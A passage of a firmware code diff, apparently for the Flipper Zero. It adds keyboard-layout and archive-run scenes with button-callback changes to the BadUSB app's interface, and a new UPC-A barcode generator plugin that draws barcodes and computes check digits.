|
||||
#include "furi_hal_power.h"
|
||||
#include "furi_hal_usb.h"
|
||||
#include <storage/storage.h>
|
||||
|
||||
static bool bad_usb_layout_select(BadUsbApp* bad_usb) {
|
||||
furi_assert(bad_usb);
|
||||
|
||||
string_t predefined_path;
|
||||
string_init(predefined_path);
|
||||
if(!string_empty_p(bad_usb->keyboard_layout)) {
|
||||
string_set(predefined_path, bad_usb->keyboard_layout);
|
||||
} else {
|
||||
string_set_str(predefined_path, BAD_USB_APP_PATH_LAYOUT_FOLDER);
|
||||
}
|
||||
|
||||
// Input events and views are managed by file_browser
|
||||
bool res = dialog_file_browser_show(
|
||||
bad_usb->dialogs,
|
||||
bad_usb->keyboard_layout,
|
||||
predefined_path,
|
||||
BAD_USB_APP_LAYOUT_EXTENSION,
|
||||
true,
|
||||
&I_keyboard_10px,
|
||||
true);
|
||||
|
||||
string_clear(predefined_path);
|
||||
return res;
|
||||
}
|
||||
|
||||
void bad_usb_scene_config_layout_on_enter(void* context) {
|
||||
BadUsbApp* bad_usb = context;
|
||||
|
||||
if(bad_usb_layout_select(bad_usb)) {
|
||||
bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout);
|
||||
}
|
||||
scene_manager_previous_scene(bad_usb->scene_manager);
|
||||
}
|
||||
|
||||
bool bad_usb_scene_config_layout_on_event(void* context, SceneManagerEvent event) {
|
||||
UNUSED(context);
|
||||
UNUSED(event);
|
||||
// BadUsbApp* bad_usb = context;
|
||||
return false;
|
||||
}
|
||||
|
||||
void bad_usb_scene_config_layout_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
// BadUsbApp* bad_usb = context;
|
||||
}
|
|
@ -10,7 +10,7 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) {
|
|||
bad_usb->dialogs,
|
||||
bad_usb->file_path,
|
||||
bad_usb->file_path,
|
||||
BAD_USB_APP_EXTENSION,
|
||||
BAD_USB_APP_SCRIPT_EXTENSION,
|
||||
true,
|
||||
&I_badusb_10px,
|
||||
true);
|
||||
|
@ -22,12 +22,18 @@ void bad_usb_scene_file_select_on_enter(void* context) {
|
|||
BadUsbApp* bad_usb = context;
|
||||
|
||||
furi_hal_usb_disable();
|
||||
if(bad_usb->bad_usb_script) {
|
||||
bad_usb_script_close(bad_usb->bad_usb_script);
|
||||
bad_usb->bad_usb_script = NULL;
|
||||
}
|
||||
|
||||
if(bad_usb_file_select(bad_usb)) {
|
||||
bad_usb->bad_usb_script = bad_usb_script_open(bad_usb->file_path);
|
||||
bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout);
|
||||
|
||||
scene_manager_next_scene(bad_usb->scene_manager, BadUsbSceneWork);
|
||||
} else {
|
||||
furi_hal_usb_enable();
|
||||
//scene_manager_previous_scene(bad_usb->scene_manager);
|
||||
view_dispatcher_stop(bad_usb->view_dispatcher);
|
||||
}
|
||||
}
|
||||
|
|
56
applications/bad_usb/scenes/bad_usb_scene_pwork.c
Normal file
56
applications/bad_usb/scenes/bad_usb_scene_pwork.c
Normal file
|
@ -0,0 +1,56 @@
|
|||
#include "../bad_usb_script.h"
|
||||
#include "../bad_usb_app_i.h"
|
||||
#include "../views/bad_usb_view.h"
|
||||
#include "furi_hal.h"
|
||||
#include "m-string.h"
|
||||
#include "toolbox/path.h"
|
||||
|
||||
void bad_usb_scene_pwork_button_callback(InputKey key, void* context) {
|
||||
furi_assert(context);
|
||||
BadUsbApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, key);
|
||||
}
|
||||
|
||||
bool bad_usb_scene_pwork_on_event(void* context, SceneManagerEvent event) {
|
||||
BadUsbApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == InputKeyOk) {
|
||||
bad_usb_script_toggle(app->bad_usb_script);
|
||||
consumed = true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeTick) {
|
||||
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
|
||||
}
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void bad_usb_scene_pwork_on_enter(void* context) {
|
||||
BadUsbApp* app = context;
|
||||
|
||||
string_t file_name;
|
||||
string_init(file_name);
|
||||
|
||||
path_extract_filename(app->file_path, file_name, true);
|
||||
bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name));
|
||||
app->bad_usb_script = bad_usb_script_open(app->file_path);
|
||||
|
||||
bad_usb_script_set_keyboard_layout(app->bad_usb_script, app->keyboard_layout);
|
||||
|
||||
string_clear(file_name);
|
||||
|
||||
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
|
||||
|
||||
// set app state - is executed from archive app
|
||||
bad_usb_script_set_run_state(bad_usb_script_get_state(app->bad_usb_script), true);
|
||||
|
||||
bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_pwork_button_callback, app);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork);
|
||||
}
|
||||
|
||||
void bad_usb_scene_pwork_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
//BadUsbApp* app = context;
|
||||
//bad_usb_script_close(app->bad_usb_script);
|
||||
}
|
|
@ -5,10 +5,10 @@
|
|||
#include "m-string.h"
|
||||
#include "toolbox/path.h"
|
||||
|
||||
void bad_usb_scene_work_ok_callback(InputType type, void* context) {
|
||||
void bad_usb_scene_work_button_callback(InputKey key, void* context) {
|
||||
furi_assert(context);
|
||||
BadUsbApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, type);
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, key);
|
||||
}
|
||||
|
||||
bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) {
|
||||
|
@ -16,8 +16,13 @@ bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) {
|
|||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == InputKeyLeft) {
|
||||
scene_manager_next_scene(app->scene_manager, BadUsbSceneConfig);
|
||||
consumed = true;
|
||||
} else if(event.event == InputKeyOk) {
|
||||
bad_usb_script_toggle(app->bad_usb_script);
|
||||
consumed = true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeTick) {
|
||||
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
|
||||
}
|
||||
|
@ -29,20 +34,19 @@ void bad_usb_scene_work_on_enter(void* context) {
|
|||
|
||||
string_t file_name;
|
||||
string_init(file_name);
|
||||
|
||||
path_extract_filename(app->file_path, file_name, true);
|
||||
bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name));
|
||||
app->bad_usb_script = bad_usb_script_open(app->file_path);
|
||||
|
||||
string_clear(file_name);
|
||||
|
||||
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
|
||||
|
||||
bad_usb_set_ok_callback(app->bad_usb_view, bad_usb_scene_work_ok_callback, app);
|
||||
// set app state - is executed from archive app
|
||||
bad_usb_script_set_run_state(bad_usb_script_get_state(app->bad_usb_script), false);
|
||||
|
||||
bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_work_button_callback, app);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork);
|
||||
}
|
||||
|
||||
void bad_usb_scene_work_on_exit(void* context) {
|
||||
BadUsbApp* app = context;
|
||||
bad_usb_script_close(app->bad_usb_script);
|
||||
UNUSED(context);
|
||||
}
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
struct BadUsb {
|
||||
View* view;
|
||||
BadUsbOkCallback callback;
|
||||
BadUsbButtonCallback callback;
|
||||
void* context;
|
||||
};
|
||||
|
||||
|
@ -34,6 +34,12 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) {
|
|||
elements_button_center(canvas, "Stop");
|
||||
}
|
||||
|
||||
if(((model->state.state == BadUsbStateNotConnected) ||
|
||||
(model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) &&
|
||||
!model->state.run_from_p) {
|
||||
elements_button_left(canvas, "Config");
|
||||
}
|
||||
|
||||
if(model->state.state == BadUsbStateNotConnected) {
|
||||
canvas_draw_icon(canvas, 4, 22, &I_Clock_18x18);
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
|
@ -106,10 +112,10 @@ static bool bad_usb_input_callback(InputEvent* event, void* context) {
|
|||
bool consumed = false;
|
||||
|
||||
if(event->type == InputTypeShort) {
|
||||
if(event->key == InputKeyOk) {
|
||||
if((event->key == InputKeyLeft) || (event->key == InputKeyOk)) {
|
||||
consumed = true;
|
||||
furi_assert(bad_usb->callback);
|
||||
bad_usb->callback(InputTypeShort, bad_usb->context);
|
||||
bad_usb->callback(event->key, bad_usb->context);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -139,7 +145,7 @@ View* bad_usb_get_view(BadUsb* bad_usb) {
|
|||
return bad_usb->view;
|
||||
}
|
||||
|
||||
void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context) {
|
||||
void bad_usb_set_button_callback(BadUsb* bad_usb, BadUsbButtonCallback callback, void* context) {
|
||||
furi_assert(bad_usb);
|
||||
furi_assert(callback);
|
||||
with_view_model(
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
#include "../bad_usb_script.h"
|
||||
|
||||
typedef struct BadUsb BadUsb;
|
||||
typedef void (*BadUsbOkCallback)(InputType type, void* context);
|
||||
typedef void (*BadUsbButtonCallback)(InputKey key, void* context);
|
||||
|
||||
BadUsb* bad_usb_alloc();
|
||||
|
||||
|
@ -12,7 +12,7 @@ void bad_usb_free(BadUsb* bad_usb);
|
|||
|
||||
View* bad_usb_get_view(BadUsb* bad_usb);
|
||||
|
||||
void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context);
|
||||
void bad_usb_set_button_callback(BadUsb* bad_usb, BadUsbButtonCallback callback, void* context);
|
||||
|
||||
void bad_usb_set_file_name(BadUsb* bad_usb, const char* name);
|
||||
|
||||
|
|
13
applications/barcode_generator/application.fam
Normal file
13
applications/barcode_generator/application.fam
Normal file
|
@ -0,0 +1,13 @@
|
|||
App(
|
||||
appid="barcode_generator",
|
||||
name="UPC-A Generator",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="barcode_UPCA_generator_app",
|
||||
cdefines=["APP_BARCODE_GEN"],
|
||||
requires=[
|
||||
"gui",
|
||||
"dialogs",
|
||||
],
|
||||
stack_size=1 * 1024,
|
||||
order=50,
|
||||
)
|
544
applications/barcode_generator/barcode_generator.c
Normal file
544
applications/barcode_generator/barcode_generator.c
Normal file
|
@ -0,0 +1,544 @@
|
|||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define BARCODE_STARTING_POS 16
|
||||
#define BARCODE_HEIGHT 50
|
||||
#define BARCODE_Y_START 3
|
||||
#define BARCODE_TEXT_OFFSET 9
|
||||
|
||||
typedef enum {
|
||||
EventTypeTick,
|
||||
EventTypeKey,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
EventType type;
|
||||
InputEvent input;
|
||||
} PluginEvent;
|
||||
|
||||
typedef struct {
|
||||
int barcodeNumeral[12]; //The current barcode number
|
||||
int editingIndex; //The index of the editing symbol
|
||||
int menuIndex; //The index of the menu cursor
|
||||
int modeIndex; //Set to 0 for view, 1 for edit, 2 for menu
|
||||
bool doParityCalculation; //Should do parity check?
|
||||
} PluginState;
|
||||
|
||||
void number_0(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #0 on left is OOOIIOI
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "0");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
}
|
||||
void number_1(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #1 on left is OOIIOOI
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "1");
|
||||
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
}
|
||||
void number_2(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #2 on left is OOIOOII
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "2");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
}
|
||||
void number_3(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #3 on left is OIIIIOI
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "3");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
}
|
||||
void number_4(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #4 on left is OIOOOII
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "4");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
}
|
||||
void number_5(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #5 on left is OIIOOOI
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "5");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
}
|
||||
void number_6(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #6 on left is OIOIIII
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "6");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII
|
||||
}
|
||||
void number_7(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #7 on left is OIIIOII
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "7");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
}
|
||||
void number_8(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #8 on left is OIIOIII
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "8");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III
|
||||
}
|
||||
void number_9(
|
||||
Canvas* canvas,
|
||||
bool rightHand,
|
||||
int startingPosition) { //UPC Code for #9 on left is OOOIOII
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str(
|
||||
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "9");
|
||||
if(rightHand) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
}
|
||||
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
|
||||
canvas_invert_color(canvas);
|
||||
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
|
||||
}
|
||||
|
||||
static void render_callback(Canvas* const canvas, void* ctx) {
|
||||
PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(plugin_state == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
//I originally had all of these values being generated at runtime by math, but that kept giving me trouble.
|
||||
int editingMarkerPosition[12] = {
|
||||
19,
|
||||
26,
|
||||
33,
|
||||
40,
|
||||
47,
|
||||
54,
|
||||
66,
|
||||
73,
|
||||
80,
|
||||
87,
|
||||
94,
|
||||
101,
|
||||
};
|
||||
int menuTextLocations[6] = {
|
||||
20,
|
||||
30,
|
||||
40,
|
||||
50,
|
||||
60,
|
||||
70,
|
||||
};
|
||||
|
||||
if(plugin_state->modeIndex == 2) { //if in the menu
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "MENU");
|
||||
canvas_draw_frame(canvas, 50, 0, 29, 11); //box around Menu
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, menuTextLocations[0], AlignCenter, AlignCenter, "View");
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, menuTextLocations[1], AlignCenter, AlignCenter, "Edit");
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, menuTextLocations[2], AlignCenter, AlignCenter, "Parity?");
|
||||
|
||||
canvas_draw_frame(canvas, 81, menuTextLocations[2] - 2, 6, 6);
|
||||
if(plugin_state->doParityCalculation == true) {
|
||||
canvas_draw_box(canvas, 83, menuTextLocations[2], 2, 2);
|
||||
}
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, menuTextLocations[3], AlignCenter, AlignCenter, "TODO");
|
||||
canvas_draw_disc(
|
||||
canvas, 40, menuTextLocations[plugin_state->menuIndex], 2); //draw menu cursor
|
||||
}
|
||||
|
||||
if(plugin_state->modeIndex != 2) { //if not in the menu
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
//canvas_draw_glyph(canvas, 115, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, 'M');
|
||||
canvas_draw_box(canvas, BARCODE_STARTING_POS, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
|
||||
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 1, 1, 1, 50); //left blank on purpose
|
||||
canvas_draw_box(
|
||||
canvas,
|
||||
(BARCODE_STARTING_POS + 2),
|
||||
BARCODE_Y_START,
|
||||
1,
|
||||
BARCODE_HEIGHT + 2); //start saftey
|
||||
for(int index = 0; index < 12; index++) {
|
||||
bool isOnRight = false;
|
||||
if(index >= 6) {
|
||||
isOnRight = true;
|
||||
}
|
||||
if((index == 11) && (plugin_state->doParityCalculation)) { //calculate the check digit
|
||||
int checkDigit =
|
||||
plugin_state->barcodeNumeral[0] + plugin_state->barcodeNumeral[2] +
|
||||
plugin_state->barcodeNumeral[4] + plugin_state->barcodeNumeral[6] +
|
||||
plugin_state->barcodeNumeral[8] + plugin_state->barcodeNumeral[10];
|
||||
//add all odd positions Confusing because 0index
|
||||
checkDigit = checkDigit * 3; //times 3
|
||||
checkDigit += plugin_state->barcodeNumeral[1] + plugin_state->barcodeNumeral[3] +
|
||||
plugin_state->barcodeNumeral[5] + plugin_state->barcodeNumeral[7] +
|
||||
plugin_state->barcodeNumeral[9];
|
||||
//add all even positions to above. Confusing because 0index
|
||||
checkDigit = checkDigit % 10; //mod 10
|
||||
//if m - 0 then x12 = 0, otherwise x12 is 10 - m
|
||||
if(checkDigit == 0) {
|
||||
plugin_state->barcodeNumeral[11] = 0;
|
||||
} else {
|
||||
checkDigit = 10 - checkDigit;
|
||||
plugin_state->barcodeNumeral[11] = checkDigit;
|
||||
}
|
||||
}
|
||||
switch(plugin_state->barcodeNumeral[index]) {
|
||||
case 0:
|
||||
number_0(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 1:
|
||||
number_1(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 2:
|
||||
number_2(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 3:
|
||||
number_3(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 4:
|
||||
number_4(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 5:
|
||||
number_5(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 6:
|
||||
number_6(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 7:
|
||||
number_7(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 8:
|
||||
number_8(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
case 9:
|
||||
number_9(canvas, isOnRight, editingMarkerPosition[index]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 45, BARCODE_Y_START, 1, BARCODE_HEIGHT);
|
||||
canvas_draw_box(canvas, BARCODE_STARTING_POS + 46, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
|
||||
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 47, BARCODE_Y_START, 1, BARCODE_HEIGHT);
|
||||
canvas_draw_box(canvas, BARCODE_STARTING_POS + 48, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
|
||||
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 49, BARCODE_Y_START, 1, BARCODE_HEIGHT);
|
||||
|
||||
if(plugin_state->modeIndex == 1) {
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_box(
|
||||
canvas,
|
||||
editingMarkerPosition[plugin_state->editingIndex],
|
||||
63,
|
||||
7,
|
||||
1); //draw editing cursor
|
||||
}
|
||||
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_box(canvas, BARCODE_STARTING_POS + 92, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
|
||||
//canvas_draw_box(canvas, 14, 1, 1, 50); //left blank on purpose
|
||||
canvas_draw_box(
|
||||
canvas,
|
||||
(BARCODE_STARTING_POS + 2) + 92,
|
||||
BARCODE_Y_START,
|
||||
1,
|
||||
BARCODE_HEIGHT + 2); //end safety
|
||||
}
|
||||
|
||||
release_mutex((ValueMutex*)ctx, plugin_state);
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void barcode_UPCA_generator_state_init(PluginState* const plugin_state) {
|
||||
int i;
|
||||
for(i = 0; i < 12; ++i) {
|
||||
if(i > 9) {
|
||||
plugin_state->barcodeNumeral[i] = i - 10;
|
||||
} else if(i < 10) {
|
||||
plugin_state->barcodeNumeral[i] = i;
|
||||
}
|
||||
}
|
||||
plugin_state->editingIndex = 0;
|
||||
plugin_state->modeIndex = 0;
|
||||
plugin_state->doParityCalculation = true;
|
||||
plugin_state->menuIndex = 0;
|
||||
}
|
||||
|
||||
